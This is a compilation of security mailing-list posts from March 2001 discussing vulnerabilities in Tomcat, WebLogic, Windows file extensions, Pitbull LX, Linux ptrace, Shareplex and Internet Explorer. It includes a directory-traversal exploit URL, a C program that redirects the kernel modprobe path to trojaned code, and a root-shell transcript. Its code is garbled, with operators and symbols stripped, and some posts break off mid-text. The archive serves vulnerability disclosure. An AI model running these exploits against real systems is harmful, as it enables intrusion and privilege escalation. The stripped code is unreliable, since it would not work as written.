Re: CHINANSL Security Advisory(CSA-200105)
Dear "lovehacker", Tomcat 3.0 is an old version and has several known security holes. That is why we recommend that people run the latest released version which is currently 3.1.1 or 3.2.1 (depending on the branch you are interested). Also, Tomcat 3.2.2b2 is also available on our website which fixes the recently announced cross site scripting issue. I would appreciate it if you would test and report your security holes against the released versions and not the old versions. I see no further action necessary unless your hole is also present in the current code base (I suspect that it isn't). I also may have missed your posting, but giving advance notice to [EMAIL PROTECTED] and/or [EMAIL PROTECTED] would be more appropriate than posting to bugtraq first. thanks, Jon S. Stevens [EMAIL PROTECTED] ASF Member PMC Member - Jakarta Group -- If you come from a Perl or PHP background, JSP is a way to take your pain to new levels. --Anonymous http://jakarta.apache.org/velocity/ymtd/ymtd.html on 3/27/01 10:40 PM, "lovehacker" [EMAIL PROTECTED] wrote: Topic: Tomcat 3.0 for win2000 Directory traversal Vulnerability vulnerable: Tomcat 3.0 for win2000 maybe for other operating system also. discussion: A security vulnerability has been found in Windows NT/2000 systems that have Tomcat 3.0 installed.The vulnerability allows remote attackers to access files outside the document root directory scope. exploits: http://target:8080/../../winnt/win.ini% 00examples/jsp/hello.jsp It is possible to cause the Tomcat server to send back the content of win.ini. solution: None Copyright 2000-2001 CHINANSL. All Rights Reserved. Terms of use. CHINANSL Security Team [EMAIL PROTECTED] CHINANSL INFORMATION TECHNOLOGY CO.,LTD (http://www.chinansl.com)
Invisible file extensions on Windows
A little while ago, I was having a conversation with some of my colleagues
about computer viruses. The "Life Stages" virus was mentionned during the
conversation. This virus disguises itself via a file with extension .SHS,
while pretending to be a .TXT file. This was possible because the .SHS
extension is hidden by Windows, even if it is configured to display all
files, all extensions (even for known file types). .SHS stands for "shell
scrap", which means that it is possible to use these files to execute
commands on a computer (which is what the virus did). Following this
discussion, I thought to myself "I wonder if there are any other file
extensions with these attributes that could potentially be used in a virus
design?". To do this research, someone suggested me that I plunder the
registry, since all file extensions are (supposed) to be listed there. But
the registry gives little if no information at all about what is the
purpose of a certain file extension in the system, neither about what
visual behavior they present to the user (which in turn can use the user
gullibility to activate a virus). What was interesting me if how Windows
presents the file via the GUI, not just the list of extensions recognized
by Windows. Also, I didn't really trust the registry to hold all and every
file extension it uses all in the same place (after all, we trusted it to
display all file information, didn't we?).
In order to solve my problem, I made a small Perl script that generates
dummy files wearing all possible file extensions under Windows. I included
special characters in my analysis, to be sure that nothing is
overlooked. The program is displayed below. That version is for
3-characters extensions, remove one or two loops to make 2-characters and
1-character extensions. For analysis clarity, I sorted the files under
folders starting by the first letter of the extension. This is necessary
for having decent refresh times from Windows Explorer.
#!C:\perl
@alpha=("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","\$","_",")","(","","^","%","#","@","!","'","-","=","+",";","[","]","{","}");
for($i=0;$i55;$i++)
{
mkdir $alpha[$i];
chdir $alpha[$i];
for($j=0;$j55;$j++)
{for($k=0;$k55;$k++)
{
$ext=$alpha[$i].$alpha[$j].$alpha[$k];
$filename="test.".$ext;
open (TESTFILE, "".$filename);
print TESTFILE "bla";
print "#";
close (TESTFILE);
}
}
chdir "..";
}
Once these extensions were generated, I examined all 169 455 combinations
through Windows Explorer, in order to determine the system behavior towards
these files. The biggest majority of these files turned out to be generic
file extensions, meaning that no application is associated with them, and
as such represents no harm in the aspect of this research. So I proceeded
to extract all file extensions that Windows knew something about, by
examining the file icon and file description. Some of these extensions are
native to the Windows operating system, some others are the result of
application softwares installed on my machine. For this reason, we can't
qualify this list as "the ultimate file extension list under Windows",
since a system configured for different needs would have produced a
different list. However, the list presented here is somewhat complete and
is a good reference material. Some apllication softwares also identify
some file extensions clearly with the application, instead of the more
generic extension name (for example, .wav is labeled WinAmp media file). I
did not take the time to correct these entries, since the majority of the
readers should be able to tell what the file extension is about.
From this list, I extracted the file extensions that were
displaying behavior different from the norm, which was my first goal to
start with. In fact, an interesting number of these extensions showed up,
which means that viruses similar to "Life Stages" could still appear, under
a new file extension that could trick users. Here is the list of the
offending culprits:
.cnfSpeedDial (Extension not visible)
.lnkShortcut (Extension not visible)
.madMicrosoft Access Module Shortcut (Extension not visible)
.mafMicrosoft Access Form Shortcut (Extension not visible)
.magMicrosoft Access Diagram Shortcut (Extension not visible)
.mamMicrosoft Access Macro Shortcut (Extension not visible)
.maqMicrosoft Access Query Shortcut (Extension not visible)
.marMicrosoft Access Report Shortcut (Extension not visible)
.masMicrosoft Access StoredProcedure shortcut (Extension not visible)
.matMicrosoft Access Table Shortcut (Extension not visible)
.mavMicrosoft
Re: CHINANSL Security Advisory(CSA-200105)
}-Original Message- }Sent: Tuesday, March 27, 2001 10:40 PM }Subject: CHINANSL Security Advisory(CSA-200105) } }Topic: }Tomcat 3.0 for win2000 Directory traversal }Vulnerability } This was detailed earlier at: http://www.securityfocus.com/templates/archive.pike?list=1mid=164891 .. Tomcat 3.1 final release on Unix is also vulnerable. -- Jeff Carnahan - [EMAIL PROTECTED]
Re: Microsoft Security Bulletin MS01-018 -- BAD SIGNATURE?
-BEGIN PGP SIGNED MESSAGE- At 06:34 AM 3/28/01 -0800, Caskey wrote: My questions: Is this a legitimate advisory? Does anyone posess a valid, signed copy of this advisory? Am I being unreasonable in expecting advisories published by Microsoft (or any vendor) to be signed? (consistently) Would the maintainer of the securityfocus archive consider allowing access to verifiable copies of the messages in the archive? X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65 Subject: RE: PGP Signature Failure (again) Date: Tue, 27 Mar 2001 17:39:55 -0800 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: PGP Signature Failure (again) Thread-Index: AcC3J8avgEPCRJ1xS3CwLufwMOC+WgAABA0Q From: "Microsoft Security Response Center" [EMAIL PROTECTED] To: "David Kennedy CISSP" [EMAIL PROTECTED] Cc: "Microsoft Security Response Center" [EMAIL PROTECTED] X-OriginalArrivalTime: 28 Mar 2001 01:39:46.0710 (UTC) FILETIME=[F87FB360:01C0B727] Hello David, This is not a certificate issue. There may be an issue with Lsoft or our gateways. The bulletin is definitely valid. Regards, [EMAIL PROTECTED] - -Original Message- From: David Kennedy CISSP [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 27, 2001 5:28 PM To: Microsoft Security Response Center Subject: PGP Signature Failure (again) - -BEGIN PGP SIGNED MESSAGE- At 03:43 PM 3/27/01 -0800, you wrote: The following is a Security Bulletin from the Microsoft Product Security Notification Service. Please do not reply to this message, as it was sent from an unattended mailbox. *** PGP Signature Status: bad *** Signer: Microsoft Security Response Center [EMAIL PROTECTED] (Invalid) *** Signed: 3/27/01 6:43:35 PM *** Verified: 3/27/01 8:23:50 PM *** BEGIN PGP VERIFIED MESSAGE *** Still having certificate problems. - -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.8 Comment: How long has it been since you backed up your hard drive? iQCVAwUBOsE+DPGfiIQsciJtAQF0ZwP8CifpqF9BR2yutdJRbp3Rhc+s5n5DRuAv Znxj6nDoMjIXgRkxkscCLnxnhF/G7ZdFsYAUaCU9ZmyB5n2RCh6oDOZnaotN0URa mVdiZq6byRJesMuoZpBI3jYFudQ8N+cOfuXIYiqDRXSFqd22FCJb6gTDUL06+j/p gQMUUV1mZnU= =j/01 - -END PGP SIGNATURE- - -- Regards, David Kennedy CISSP Director of Research Services, TruSecure Corp. http://www.trusecure.com Protect what you connect. Look both ways before crossing the Net. -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.8 Comment: I'd upgrade to PGP v7.0.3 if NAI would release one! iQCVAwUBOsK1J/GfiIQsciJtAQFHYQP/XdEwmJuDd/Z9uUPhU2/HlbstRSHFEZbY +mpuCYI1HkGOIo6s2z5kB8rqKNjY1tGu2VGMc04Kbft+DxqAQJuQzuo7iXT4pHLv 9kZXzO+zX91Y7wtoaKjnYGFg6M2pMAD9oQJniArQP+B1rFYQP7IXcKdBNnykVpcW 2T8Aoc2d+vg= =0wTf -END PGP SIGNATURE- -- Dave Kennedy CISSP Director of Research Services TruSecure Corp. http://www.trusecure.com
BEA WebLogic may reveal script source code by URL trickery
Meta comment The reported problem seems to have been fixed in recent versions, without me talking to BEA. This may indicate that other people have reported the problem before me (I was unable to find it on Securityfocus' vulnerability database.) It may also mean that the problem is related to other URL parsing errors in WebLogic, such as the one reported recently by Peter Grndl (which inspired me to go hunting for other bugs, resulting in this advisory). In either case, I do not want to steal the credit from anyone. == BEA WebLogic may reveal script source code by URL trickery -- Sverre H. Huseby advisory 2001-03-28 Systems affected WebLogic 5.1.0 SP 6, and probably earlier versions. The problem seems to be gone in 5.1.0 SP 8. Description --- BEA WebLogic may be tricked into revealing the source code of JSP scripts by using simple URL encoding of characters in the filename extension. Details --- It seems that the built in web server in WebLogic does URL decoding in an unreasonable order. URLs like the following http://XXX/index.js%70 where %70 is an URL encoded 'p', returns the source code of index.jsp rather than running the script on the server side. To speculate (read: guess): The JSP handler is skipped as this URL does not end in ".jsp", but the static file handler is nevertheless able to map the URL into a correct file name. Impact -- This design error makes it possible to fetch the source code of JSP scripts. Such source code may contain database passwords and file names, and may reveal design errors or programming bugs that make it possible to further exploit the server or service. Reported by Sverre H. Huseby, [EMAIL PROTECTED] -- URL:mailto:[EMAIL PROTECTED] URL:http://shh.thathost.com/
Microsoft Security Bulletin MS01-019
From: Microsoft Product Security [EMAIL PROTECTED] Date: Wed, 28 Mar 2001 07:08:28 -0800 - -- Title: Passwords for Compressed Folders are Recoverable Date: 28 March 2001 Software: Plus! 98 and Windows Me Impact: Data compression passwords can be recovered. Bulletin: MS01-019 Microsoft encourages customers to review the Security Bulletin at: http://www.microsoft.com/technet/security/bulletin/MS01-019.asp. - -- . . . Mitigating Factors: - The password at issue here is not related in any way to the user's network logon password. It is used solely for password-protecting compressed folders. Considering how frequently most people tend to reuse passwords, this is a pretty strong statement. Since Microsoft states that the folder password is "not related in any way to the user's network logon password" with such confidence, that would seem to imply a mechanism that prohibits password reuse when establishing the folder compression password. Is that the case, or does this statement merely promote a false sense of security? -- Bob Rogers
Re: ADVISORY SSRT0715 Compaq Management Software Potential SecurityVulnerability (fwd)
I've tested this on various Compaq boxes running Netware 5.0 and 5.1, with and without BorderManager, and found them not to be vulnerable to acting as an anonymous proxy. On each attempt the Compaq web agent abends without affecting other services. sigh I guess if I wanted some excitement I'd have to do something silly, like run an IIS (Insecure Information Server) or Virus Exchange server on the public Internet.
Kernel Backdoor (April Fool's joke)
-BEGIN PGP SIGNED MESSAGE- To those involved in Linux security: The latest release of "Linux-Magazin", a monthly German magazine that focuses on Linux, contains an article by Mirko Dlle about security problems in the Linux kernel. In particular, the article argues that IP packets could be forwarded to the address 208.47.125.33 (there is a PTR record at gary7.nsa.gov, which has an A record back to the same address). Many German Linux users have been calling SuSE support to learn details on how to deal with this problem, not willing to believe that the article is an April Fool's joke on security. None of the claims are correct, which makes a kernel update unnecessary for this particular problem. Now, as inclined readers of security mailing lists may have noticed, there are indeed security problems in the Linux kernel. These problems are no backdoors of any kind, and they are not related to the article mentioned above. In addition, the known kernel security issues are not remotely exploitable, which means that local shell access is needed to take advantage of the weaknesses. The weaknesses allow for a local attacker to gain superuser access to the system. SuSE will provide update packages for the supported distributions 6.3, 6.4, 7.0 and 7.1 shortly that eliminate the known problems. The SuSE kernels are standard kernels, equipped with a set of patches that introduce drivers and many other enhancements to the standard Linux kernel. The update packages are currently being tested and will be available and announced as soon as possible. As an information for those who compile and install their own kernels: The freshly released Linux kernel version 2.2.19 fixes the known issues in the kernel. It should run smoothly on all 6.x SuSE Linux distributions, but please note that 2.2.19 requires update packages for the lvm and/or the raidtools (formerly mdutils) package if lvm (logical volume manager) or the software raid facility of the Linux kernel are used. The lvm package is available for download from our ftp server ftp.suse.com, the raidtools package will follow soon. Regards, Roman Drahtmller, SuSE Security -BEGIN PGP SIGNATURE- Version: 2.6.3i Charset: noconv iQEVAwUBOsM8uney5gA9JdPZAQGnRggAkh+oXciCyj07rUgi0YJ4DEQVYopJRZQw oYFcktCTC/CYXE42ZEkChlMO9UA2Op6kiFyqDnaIKo12C1555CxAJgjszQfAjPCe 1b2kxLNtY0GvibkFHjgJ5BLeh7rM3d7bMoA14HKSNXcHDQIuJEUD0Hh0ENe4fNng qfZNHsd2EIdkjN3ncuQGjqPvy5N+se145OrEUGsOFY5Xb1KajxJhd8SlJ8+VkjTA 5tRi4NvLUZqdk1eKPvcKSkIuuv/rmSSOBEASUr/dEmy4Z8guVNW3qP6jk4HtPjYp 23yTkhZDHaYpCC7S/gMoU3pSrre0nh51W6yQx1oBOqaWZJtLSUJ+2A== =RpeD -END PGP SIGNATURE-
AIX4.3.3 - Re: def-2001-14: Bea Weblogic Unicode Directory Browsing
Tried it on AIX 4.3.3 with WebLogic 5.1.0 Service Pack 6 - It works! Don Elsner * CONFIDENTIALITY NOTICE: This is a transmission from Kohl's Department Stores, Inc. and may contain information which is confidential and proprietary. If you are not the addressee, any disclosure, copying or distribution or use of the contents of this message is expressly prohibited. If you have received this transmission in error, please destroy it and notify us immediately at 262-703-7000. CAUTION: Internet and e-mail communications are Kohl's property and Kohl's reserves the right to retrieve and read any message created, sent and received. Kohl's reserves the right to monitor messages by authorized Kohl's Associates at any time without any further consent. **
Re: MailSweeper for SMTP Security Problem
Russ, Thanks for bringing this up as some of the responses in this mailing list have noted, the main issue here is one of configuration, but youve highlighted an important area of policy what do you with apparently internal e-mail received at the internet gateway. The problem that you list is that, by default, internal mail (that is mail apparently sent by an internal sender to an internal recipient) follows a policy folder called Outbound. The default Inbound and Outbound policy folders cover *@* to *@mydomain.com and *@mydomain.com to *@* respectively. With only these two policies, an e-mail from mydomain.com to mydomain.com could quite legitimately follow either of these policies. In the case you mention, the Outbound policy does no content security and therefore will not pick up any threats or items against the company policy. From our experience very few customers have this sort of configuration. To handle Internal e-mail differently, simply create a new policy folder with an appropriate name, say Internal, and set the route to (in your example) From: *@mydomainTo: *@mydomain.com. You may then apply whatever policy is appropriate. In essence, the issues you highlight are a) the need for a policy for internal-internal e- mail b) the necessity for an appropriate policy on outbound e-mail To put this is perspective, some customers routinely block internal relaying by MAILsweeper by creating the internal folder (as listed above) and then using a Classifier scenario (with or without additional content security) to quarantine or delete the message (with or without informing recipient and/or sender). For other customers routing mail through the system in this manner is perfectly normal (i.e. external ISP- connected laptop users on the road). Even those customers who do not handle internal mail differently scan both Inbound and Outbound e- mail for threats even if they may routinely skip other content security analysis. In summary: In practice this problem is due to configuration and deployment issues and is unlikely to be exploitable in the real world. Customers concerned about how apparently internal e-mail is handled may use the method described above or can deploy a content security solution on their internal mail servers as well. Jon Williams Product Manager Baltimore Technologies There appears to be vulnerability with Mail Sweeper for SMTP email by Content Technologies. (Tested on Version 4.19, others may be vulnerable)
Microsoft Security Bulletin MS01-020
The following is a Security Bulletin from the Microsoft Product Security Notification Service. Please do not reply to this message, as it was sent from an unattended mailbox. -BEGIN PGP SIGNED MESSAGE- - -- Title: Incorrect MIME Header Can Cause IE to Execute E-mail Attachment Date: 29 March 2001 Software: Microsoft Internet Explorer Impact: Run code of attacker's choice. Bulletin: MS01-020 Microsoft encourages customers to review the Security Bulletin at: http://www.microsoft.com/technet/security/bulletin/MS01-020.asp. - -- Issue: == Because HTML e-mails are simply web pages, IE can render them and open binary attachments in a way that is appropriate to their MIME types. However, a flaw exists in the type of processing that is specified for certain unusual MIME types. If an attacker created an HTML e-mail containing an executable attachment, then modified the MIME header information to specify that the attachment was one of the unusual MIME types that IE handles incorrectly, IE would launch the attachment automatically when it rendered the e-mail. An attacker could use this vulnerability in either of two scenarios. She could host an affected HTML e-mail on a web site and try to persuade another user to visit it, at which point script on a web page could open the mail and initiate the executable. Alternatively, she could send the HTML mail directly to the user. In either case, the executable attachment, if it ran, would be limited only by user's permissions on the system. Mitigating Factors: The vulnerability could not be exploited if File Downloads have been disabled in the Security Zone in which the e-mail is rendered. This is not a default setting in any zone, however. Patch Availability: === - A patch is available to fix this vulnerability. Please read the Security Bulletin http://www.microsoft.com/technet/security/bulletin/ms01-020.asp for information on obtaining this patch. Acknowledgment: === - Juan Carlos Cuartango (http://www.kriptopolis.com) - - THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE FOREGOING LIMITATION MAY NOT APPLY. -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.3 iQEVAwUBOsP2xI0ZSRQxA/UrAQE2Qwf/QCMKq96UCHrLAVZrZG77oLp8Z9uZ+fMg tU6Q2n4iR0SVxckd3uwfuMN7xypztrxwdVk15QhBihuK63J+P/r4XA0Q6tYi6mlF h6vDBZrJyCoJ485HkIZDoiEKd++Uw+D9nCbp0aUjX7c3vbAeBINSRkhXIIJ9JlkL 23UAZBgab2LlL60hX+X47TNl5x6Jc8OQOBNnIWEF3YH3WeVEsALzGI5ewvJbfMvd 3IKedgxf83B0ds0nAMcHOwsZFa+cDAta6AlWxXnwXK6g5ndKqi209Lf3/1vN9fdL h77OTFU+RGUrnLcIhrZV06u+I6U/SE7CF9k3heuyo834QezsLCvq4w== =+KNh -END PGP SIGNATURE- *** You have received this e-mail bulletin as a result of your registration to the Microsoft Product Security Notification Service. You may unsubscribe from this e-mail notification service at any time by sending an e-mail to [EMAIL PROTECTED] The subject line and message body are not used in processing the request, and can be anything you like. To verify the digital signature on this bulletin, please download our PGP key at http://www.microsoft.com/technet/security/notify.asp. For more information on the Microsoft Security Notification Service please visit http://www.microsoft.com/technet/security/notify.asp. For security-related information about Microsoft products, please visit the Microsoft Security Advisor web site at http://www.microsoft.com/security.
Serious Pitbull LX Vulnerability
Background:
Back in February, eWeek and Argus Systems held OpenHack III. "Pitbull vs The
Worlds Toughest". With much hype the contest came and went. The result? "17
days, 40,000 Challengers, 5.4 Million Punches and 1 E-Security Champion". As
'the first product to withstand an OpenHack unscathed' Pitbull LX received
an eWeek Excellence Award in a security category. See www.eweek.com for a
full report of the competition and award.
This month, for CeBit, the very same systems were put back online and for
one week the contest resumed (with prize money converted into DM). "A
Rematch". The result? The word I have is that there will be no official
press release. The website has even dissapeared. Well... Argus Systems are
happy with the coverage they recieved from OpenHack III. And so they should
be, Pitbull is a _very_ secure product. In my opinion, one of the very best
security solutions. It's used by many online banks. But not many product are
100% secure
While the systems were still online, just hours after the end of the
contest, a vulnerability was exploited on the "DNS machine" running Pitbull
LX. Security was completely compromised, and a similar attack would have
been capable of claiming prize money at either OpenHack III or CeBit.
Info:
Vulnerable: PitBull LX (Pitbull For Linux), All versions
Not Vulnerable: PitBull Foundation .compack (Pitbull for Solaris and AIX),
All versions
Type: Non-Instantaneous Complete System Compromise
Local: Yes (Must be root)
Remote: No
Vulnerability:
The vulnerability stems from Pitbull LX's failure to apply it's enhanced
security features to all the kernel variables made available in /proc/sys/.
Although the file-system will restrict access to the /proc/sys/ directory,
all these variables can be accessed through calls to sysctl() which only
checks a processes standard unix credentials. Almost all the variables are
mode 644 or 444. So any user can read the kernel variables and a root user
can modify many of them. A process with uid 0, can thus bypass Pitbull and
modify some very sensitive kernel data. (If that last statement makes your
wonder what the problem is remember that "root means nothing on a Pitbull
system".)
Exploit:
By modifying kernel variables such as MaxFiles, MaxInodes and numerous
virtual memory settings system instability can be caused but much more
worringly ModProbePath can be altered to point to malicous code. When
modprobe is next execd in order to load a module, the malicous code will be
executed in the security context of the process which requested the module.
This may be another user, init or sshd for example. Init and sshd run
without the ASG_AWARE flag, so they are immune to all pitbull security.
Fortunately all kernel variables are reset at startup which is when the
majority of modules are loaded by init (ie. Before a user has chance to
modify modprobepath). However sshd will often attempt to load terminal
emulation/character set modules everytime a user connects to it.
The following program will modify modprobe's path:
#include linux/unistd.h
#include linux/types.h
#include linux/sysctl.h
_syscall1(int, _sysctl, struct __sysctl_args *, args);
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval,
size_t newlen) {
struct __sysctl_args
args = {name, nlen, oldval, oldlenp, newval, newlen};
return _sysctl(args);
}
int variablename[] = { CTL_KERN, KERN_MODPROBE };
char oldpath[512];
int oldpathlen = 512;
char path[512];
int pathlen = 512;
int main(int argc, char *argv[]) {
if(argc 2) {
printf("Usage: %s NewModprobePath", argv[0]);
exit(0);
}
// Read kernel variable
sysctl(variablename, 2, oldpath, oldpathlen, NULL, 0);
// Write kernel variable
sysctl(variablename, 2, path, pathlen, argv[1], strlen(argv[1]));
printf("Old Path: %s, New Path %s\n", oldpath, argv[1]);
return 0;
}
N.B. The trojaned modprobe should call the real modprobe (usually in
/sbin/modprobe) with identical arguments except that argv[0] _must_ be
"modprobe" (or possibly "insmod") or else modprobe claims it is being
impersonated. This will ensure the relevant module still get's loaded.
Fixes:
An unoffical patch has been released which adds protection to a small number
of the (readonly) variables. Get it from support on www.argusrevolution.com.
Argus Systems have been notified of the bug and, although they were fairly
unresponsive, they did at least want to know what the bug was. Keep tabs on
www.argusrevolution.com for a full fix.
In the mean time, the exploit discussed above can be avoided by recompiling
the kernel without support for modules (drastic I know).
-= Blazde =- [Unofficial Defeator of Pitbull (Yeah I'm real bitter about
not gettin any prize money... but that's another story)]
Re: Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000
-Original Message- From: Chad Kalmes [mailto:[EMAIL PROTECTED]] I've tested this out and the query seems to run fine and returns the stated information, but only if the exchange resources via the web don't require authentication. If they do, you need to know the other user's password in order to list out the directory contents. This would, of course, depend on the authentication type employed on the Exchange 2000 server. ISTR it being possible to configure IE5.0 in such a way that the security credentials are passed by default to internal sites (say Exchange Web Folders or IIS 5.0 using Integrated Windows Authentication) so that any intranet user could point directly to the Exchange Web Folders and login automatically to see his/her mail). If Guninski is right, and there is a bug involving the Microsoft OLE DB Provider for Internet Publishing that allows malicious websites to execute queries into sites local to the vulnerable user under that user's context then it's more than likely that some of those local sites in deed don't request any kind of authentication or then authenticate the user automatically using NT Challenge/Response. And that would mean clear access past any firewalls into the local intranet. Sure, you have to know the site names but that's what social engineering is for.
Re: Invisible file extensions on Windows
For an excellent overview of Shell Scraps, see: http://www.pc-help.org/security/scrap.htm These can be scary little buggers because they have the functionality of both batch files and executables (see the example in the link above.) It appears to be an artifact of Win3.1 OLE that never seemed to disappear. I have never seen them used in a useful capacity, but there is most likely some enterprise application depending upon them for its functionality. An additional concern is that the icon used by .shs files looks deceptively like one that would be used for a text file. This could easily be confused with a Note/Wordpad document. It appears that the latest patches for Outlook show the .shs file extension in an email, but the icon looks like a text document and double-clicking it presents the standard warning dialog. Choosing to open the attachment executes its payload. I would ASSuME that most other email clients would treat it in a similar fashion, YMMV. I think that the best fix for this would be to add it to the executable/scriptable content filters in AV products, strip it or 'de-fang' it from email, and treat it as an executable attachment in file transport clients like email, IRC, NetNews, etc. This only further reveals the necessity for a method of strong authentication and verification of ALL executable content within the OS regardless of its origin -- an idea more clearly presented by Nick FitzGerald. Regarding the hiding of file extensions in Windows, you can find extensions on a machine that are hidden by searching for "NeverShowExt" in the HKEY_CLASSES_ROOT registry hive. There is probably more legacy functionality in Windows that allows hiding of extensions, but this is the only method that I am aware of. Combine this with tools like dsniff, ubiquitous, high-speed nearly-anonymous Internet access and stealth, remote-control trojans... we could have a serious problem (or do we already?) Best, Tony -Original Message- From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Floydman Sent: Wednesday, March 28, 2001 5:31 PM To: [EMAIL PROTECTED] Subject: Invisible file extensions on Windows A little while ago, I was having a conversation with some of my colleagues about computer viruses. The "Life Stages" virus was mentionned during the conversation. This virus disguises itself via a file with extension .SHS, while pretending to be a .TXT file. This was possible because the .SHS extension is hidden by Windows, even if it is configured to display all files, all extensions (even for known file types). .SHS stands for "shell scrap", which means that it is possible to use these files to execute commands on a computer (which is what the virus did). Following this discussion, I thought to myself "I wonder if there are any other file extensions with these attributes that could potentially be used in a virus design?". To do this research, someone suggested me that I plunder the registry, since all file extensions are (supposed) to be listed there. But the registry gives little if no information at all about what is the purpose of a certain file extension in the system, neither about what visual behavior they present to the user (which in turn can use the user gullibility to activate a virus). What was interesting me if how Windows presents the file via the GUI, not just the list of extensions recognized by Windows. Also, I didn't really trust the registry to hold all and every file extension it uses all in the same place (after all, we trusted it to display all file information, didn't we?). [...]
Re: ptrace/execve race condition exploit (non brute-force)
Mariusz Woloszyn wrote: On Tue, 27 Mar 2001, Wojciech Purczynski wrote: Hi, Here is exploit for ptrace/execve race condition bug in Linux kernels up to 2.2.18. Hi! I've seen a tool that works better than this, useing different aproach to the same bug explits it on all platforms giving instant root without the need for cat garbage files to clear disk cache!!! Even with the original exploit code there is a 99.99% chance to gain root access, if you change the line: regs.eip=eip; to: regs.eip=regs.esp; and don't call objdump on the targetted binary before (use only the binary name as argument to epcs). At least with 'exotic' suid binaries like uux or gpasswd which are *never* in the disk cache you will get instant root too. paul@ps:/usr/home/paul/tmp2 ./epcs /usr/bin/gpasswd Bug exploited successfully. sh-2.04# id uid=0(root) gid=0(root) groups=100(users) sh-2.04# Clever admins would chmod 4511 their suid binaries. Ihq.
Re: Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000
I preface this response by first saying that I have great respect for Mr. Guninski's capabilities in this arena. That being said, I feel that this bug should be downgraded to Medium. It is not "high risk" due to too many mitigating factors. First of which, you have to have active scripting turned on in the Internet Zone. I am aware that this is by default, but zone policies should be in place in any business environment to change this. Even if active scripting is enabled, the malicious host has to get the person to visit the site- they then have to know the username and location of the exchange server. While pre-planning can accomplish this (socially), a particular user would have to be targeted. Please no flames telling me how easy it is to get people to visit a site... I am well aware. But since you have to be specifically targeted for this to work, and the person behind the scope would have to have specific knowledge about you, that makes this medium risk, if not low insofar as the community is concerned. If you are being singled out as a target, then you have other problems- of course, this sort of thing does not help you any. If I could set up a site that pulled ANY user's info that visited it, even if it did require active scripting, then that would indeed be high risk- but this does not. If you have a malicious insider, then you have FAR bigger problems. I am not using 'bigger problems' as a screen to obviate responsibility in the matter- I just think it should be categorized properly. - Attonbitus Deus [EMAIL PROTECTED] - Original Message - From: "Georgi Guninski" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, March 28, 2001 3:39 AM Subject: Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000 Georgi Guninski security advisory #40, 2001
Re: Microsoft Security Bulletin MS01-019
Considering how frequently most people tend to reuse passwords, this is a pretty strong statement. Since Microsoft states that the folder password is "not related in any way to the user's network logon password" with such confidence, that would seem to imply a mechanism that prohibits password reuse when establishing the folder compression password. Is that the case, or does this statement merely promote a false sense of security? It doesn't imply anything of the sort. It is a simple statement that from a technical perspective, the compression password is not related to the network password. The distinction is being made in comparison to technologies like EFS ( which by default IS tied to the username/pwd when a CA is not available ). What would you have them say? "... the folder password is not related in any way to the user's network logon, unless of course they use the same password, which technically would still be unrelated, but stupid. It is also not related to the users' ATM PIN number, unless of course they use their PIN as their password which would again be unrelated, but even more stupid." If we made them go to this level of The Obvious when publishing these, then they would read more like a Douglass Adams book than a security bulletin. - Attonbitus Deus [EMAIL PROTECTED]
Re: Invisible file extensions on Windows
At 03/28/2001 06:31 PM, Floydman wrote:
A little while ago, I was having a conversation with some of my colleagues
about computer viruses. The "Life Stages" virus was mentionned during the
conversation. This virus disguises itself via a file with extension .SHS,
while pretending to be a .TXT file. This was possible because the .SHS
extension is hidden by Windows, even if it is configured to display all
files, all extensions (even for known file types).
Just to clarify, this is only true when using Windows Explorer. If you
drop to DOS and use the DIR command, you will see ALL file
extensions. Also, a good virus scanner should check these files regardless
of what the extension is ("hidden" or even none at all).
rotaiv
Security Hole In Shareplex
Please forward this to the list.
Security Hole in Shareplex 2.x
--
Summary
---
Shareplex (Quest Software's product for Oracle database replication)
contains a security hole which can allow local users to read any file on
the system, effectively bypassing the permissions set at the OS level.
Details
---
One of the scripts called when the product is installed (root.post)
contains the following block of code:
update_permissions()
{
if get_mark marker OPT DIR; then
:
else
get_mark marker OPT.$ORAVER DIR
fi
OD=$MARK
chown root $OD/bin/sp_cop
chmod 4555 $OD/bin/sp_cop
chown root $OD/bin/CleanSP
chmod 4550 $OD/bin/CleanSP
chown root $OD/bin/qview
chmod 4555 $OD/bin/qview
...
chown root $OD/install/splex_remove_script
chmod 4555 $OD/install/splex_remove_script
get_mark rootpre SPLEX GROUP
SPLEX_GROUP=$MARK
chgrp $SPLEX_GROUP $MARKERFILE
chown root $MARKERFILE
chmod o-w $MARKERFILE
}
This assigns ownership of several application binaries to root, and then
sets permissions on them to read execute by everyone, and suid to root.
The qview utility, which is used for cleaning out queues amongst other
things, is one of the tools which is installed mode 4555. It has a feature
which can compromise system security when executed with superuser
privileges.
qview's cmd command (which is used to execute qview commands stored in a
file) opens any user-specified file and attempts to execute each line the
file contains. Any errors encountered are echoed to standard output. A
user who can execute qview can use this behavior to read files on the
system to which they do not legitimately have access. As the target file
will contain data other than qview commands, that data will be echoed out
to stdout along with error messages.
I did not attempt a comprehensive audit of this product. There are a lot
